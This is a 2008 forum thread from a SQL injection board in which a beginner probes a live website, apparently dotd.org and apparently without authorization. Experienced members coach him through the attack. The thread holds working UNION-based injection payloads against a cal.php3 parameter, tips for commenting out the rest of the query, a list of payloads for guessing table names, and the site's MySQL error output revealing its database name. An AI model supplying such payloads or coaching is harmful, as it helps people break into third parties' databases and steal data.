|
Menu |
|
|
Home |
| |
|
Discussions |
| |
|
Tools |
| |
|
Affiliates |
| |
|
Content |
| |
|
Info |
| | |
|
|
|
|
|
User Info |
|
Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144
People Online:
Visitors: 58
Members: 0
Total: 58
|
|
|
|
|
|
Full disclosure |
|
|
|
|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
noob question |
|
Posted: Thu May 29, 2008 6:49 am |
|
|
Chedda |
Active user |
|
|
Joined: May 26, 2008 |
Posts: 27 |
|
|
|
|
|
|
|
I'm attempting to learn sql injection and have read a few tutorial and just trying to cover the basic. I tried to test to see if a website was vulnerable by using I end up getting a 406 error;
Quote: | Not Acceptable
An appropriate representation of the requested resource |
I have never seen this error does that mean its not vulnerable a little stumped, I have yet to try and go through with any actually injecting? |
|
|
|
|
Posted: Thu May 29, 2008 9:11 am |
|
|
tinman |
Active user |
|
|
Joined: May 11, 2008 |
Posts: 37 |
|
|
|
|
|
|
|
Would this be a vBulletin forum you are injecting into? |
|
|
|
|
Posted: Fri May 30, 2008 4:07 am |
|
|
Chedda |
Active user |
|
|
Joined: May 26, 2008 |
Posts: 27 |
|
|
|
|
|
|
|
tinman wrote: | Would this be a vBulletin forum you are injecting into? |
actually no, but I have found something I think is more interesting. Have I stumbled upon a website that may be vulnerable?
Quote: | You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1: 1064 |
Anyone have a "SQL injecting for dummies" type guide laying around? All the ones I have found on google are way over my head or extremely outdated. Not really sure where to go after I figure out the number of columns. |
|
Last edited by Chedda on Fri May 30, 2008 6:30 am; edited 1 time in total |
|
|
|
|
|
|
|
Posted: Fri May 30, 2008 6:18 am |
|
|
gibbocool |
Advanced user |
|
|
Joined: Jan 22, 2008 |
Posts: 208 |
|
|
|
|
|
|
|
Yes that error may be useful to find an exploit.
Read on this forum for all the info on sql injection you need to get started. Read recent threads to see methods people use. There is a thread with links to info as well.
Also here is a useful cheat sheet http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
But before you start, you should read up on SQL and learn what it does and learn some basic commands and their syntax.
For example, learn SELECT commands and all the options you can use like FROM, WHERE, HAVING, ORDER BY, GROUP BY, UNION. |
|
|
|
|
Posted: Fri May 30, 2008 6:31 am |
|
|
Chedda |
Active user |
|
|
Joined: May 26, 2008 |
Posts: 27 |
|
|
|
|
|
|
|
|
|
|
|
Posted: Fri May 30, 2008 6:51 am |
|
|
tinman |
Active user |
|
|
Joined: May 11, 2008 |
Posts: 37 |
|
|
|
|
|
|
|
Now that is a first class link! Thank you! |
|
|
|
|
|
|
|
|
Posted: Sat May 31, 2008 5:54 am |
|
|
Chedda |
Active user |
|
|
Joined: May 26, 2008 |
Posts: 27 |
|
|
|
|
|
|
|
Alight I have a very basic grasp on a few of the major commands. I know the version, how many columns, root@localhost, and other basically useless information. I'm still a little confused on a couple of errors I am receiving.
The biggest problem is I don't know the name of the database, any suggestions on how I might go about finding it? 4.1.20 is the version.
Anyway outside of that I am wondering about this;
Code: | /cal.php3?m=-1' UNION/**/ALL/**/SELECT/**/1,2/**/FROM/**/admin |
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND msg_year='2008' AND msg_active=1 ORDER BY msg_day' at line 2: 1064
Where is the entire last part of this error coming from? Are msg_year, msg_active, and msg_day table or column names? |
|
|
|
|
|
|
|
|
Posted: Sat May 31, 2008 12:32 pm |
|
|
gibbocool |
Advanced user |
|
|
Joined: Jan 22, 2008 |
Posts: 208 |
|
|
|
|
|
|
|
ok well that last part is coming from the original query. You should comment that out like:
Code: | /cal.php3?m=-1' UNION/**/ALL/**/SELECT/**/1,2/**/FROM/**/admin--+ |
or
Code: | /cal.php3?m=-1' UNION/**/ALL/**/SELECT/**/1,2/**/FROM/**/admin/* |
Next, in MySQL version 4, you have to guess table names.
try
Code: | /cal.php3?m=-1' UNION/**/ALL/**/SELECT/**/1,2/**/FROM/**/user--+ |
Code: | /cal.php3?m=-1' UNION/**/ALL/**/SELECT/**/1,2/**/FROM/**/users--+ |
Code: | /cal.php3?m=-1' UNION/**/ALL/**/SELECT/**/1,2/**/FROM/**/usertable--+ |
Code: | /cal.php3?m=-1' UNION/**/ALL/**/SELECT/**/1,2/**/FROM/**/USER()--+ |
msg_year etc will be column names. |
|
|
|
|
|
|
|
|
Posted: Sat May 31, 2008 5:28 pm |
|
|
Chedda |
Active user |
|
|
Joined: May 26, 2008 |
Posts: 27 |
|
|
|
|
|
|
|
ahhh thanks for clarifying. When trying to guess the table name its returning,
Code: | Table 'dotd.username' doesn't exist: 1146 |
What exactly is the dotd.? Is that the name of the database? root? the website is dotd.org so perhaps its for that? I don't understand that. Also on a side not are table names case sensitive? |
|
|
|
|
Posted: Sat May 31, 2008 5:42 pm |
|
|
pexli |
Valuable expert |
|
|
Joined: May 24, 2007 |
Posts: 665 |
Location: Bulgaria |
|
|
|
|
|
|
perhaps "dotd" is name of database. |
|
|
|
|
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|